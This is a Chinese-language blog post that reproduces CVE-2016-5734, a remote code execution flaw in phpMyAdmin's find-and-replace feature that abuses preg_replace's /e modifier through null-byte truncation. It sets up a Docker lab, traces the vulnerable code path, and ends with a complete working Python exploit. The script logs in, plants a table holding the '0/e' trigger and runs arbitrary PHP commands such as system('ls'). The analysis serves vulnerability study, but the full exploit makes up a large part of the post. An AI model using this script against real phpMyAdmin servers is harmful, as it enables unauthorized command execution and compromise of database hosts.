CVE-2016-5734
漏洞简介
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
环境搭建
运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:
docker-compose up -d
启动后,访问http://your-ip:8080
,即可看到phpMyAdmin的登录页面。使用root
:root
登录。
漏洞复现
使用poc进行复现,-u
指定用户名,-p
指定登录密码,-d
指定用户创建的表名, -c
为将作为PHP代码执行的命令
python3 poc.py -c 'system(ls);' -u root -p root -d test http://192.168.130.19:8080/
成功执行命令之后会创建一个名为prgpwn的表
漏洞分析
漏洞成因
Php中的 preg_replace
函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject
中匹配 pattern
的部分, 以 replacement
进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。
该函数的返回值:当$subject
为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject
被返回,不成功则返回没有改变的subject
,发生语法错误等,返回NULL。
- 正则表达式修正符:
因为$pattern
中指定的是要搜索的模式字符串,一般使用的是正则表达式,正则表达式中存在修正符,像/i 就是指定取消大小写敏感等。但是其中一个修正符 “/e”,在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。
因此这将会导致php代码执行:
漏洞触发
首先找到preg_replace()
函数的调用位置: 发现是在 /libraries/TableSearch.class.php 文件中
可以看到 _getRegplaceRows()
函数中 ,将参数find
传入,并且将参数find
作为preg_replace()
函数的第一个参数使用。要构造payload 就需要将这三个参数 find
、replaceWith
、row[0]
全部溯源查看。首先对_getRegplaceRows
函数进行溯源:
getRegplaceRows
被 getReplacePreview
这个类的方法所调用,并且参数find
与参数replacement
都是经过该方法所传递的,再对这个函数进行溯源;
发现getRegplacePreview
在 tbl_find_replace.php
中使用,并且 参数find
与 replaceWith
经POST方法进行传递。至此参数与函数溯源完毕。
前端查看该界面是phpmyadmin所提供的查找并替换数据表的功能。该功能是针对某一数据库中的数据表进行的查询功能:
其中 “查找“ 的参数就是find
。“替换为” 的参数就是replaceWith
;
现在针对这两个的参数都寻找到了,就剩下 第三个参数了,继续寻找。第三个参数为 row[0]
。首先看到这个参数为一数组,猜想是由SQL语句查询并返回的第一个值。找到row[0]
,接着回溯result参数,其指向Sql_query
:
回溯$Sql_query,其下的SQL语句可理解为:
SELECT $columnname ,1,cont(*) FROM database.table_name WHERE $columnname RLIKE ‘$find’ COLLATE $charset_bin GROUP BY $columnname ORDER BY $column ASC;
并将这个查询后的值作为键值对,把键值对的第一个值给了 preg_replace()
函数的第三个参数。
PMA_TableSearch
该类的一个析构方法,在创建这个对象的同时执行该方法;
接着回溯,可以看到漏洞触发的 tbl_find_replace.php
中引用了这个 PMA_TableSearch
类
创建了 $table_search
对象。而在这里将 db
和table
这两个参数赋值。
回溯这两个参数发现在 /libraries/common.inc.php 中存在定义,全局寻找该函数可以发现通过REQUEST
方法来接收变量并将其设置为全局变量。
该漏洞触发点,是在一个数据库表中操作而实现的,所以说,POC中是先创建数据表与列名,然后在进行参数的传递,这里可以直接将这个db
与table
直接作为参数所提交,创建的数据库为test,数据表为"prgpwn" 该表中的first列 的值为“0/e” ,该值也就是通过$sql_qury sql
语句中查询得到的 $row[0]
其中find
传递的参数中包含 %00 将后面的反斜杠给截断。
最终执行时效果类似于:
poc如下:
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
标签:CVE,resp,replace,5734,token,参数,table,2016,find
From: https://www.cnblogs.com/bktown/p/16902845.html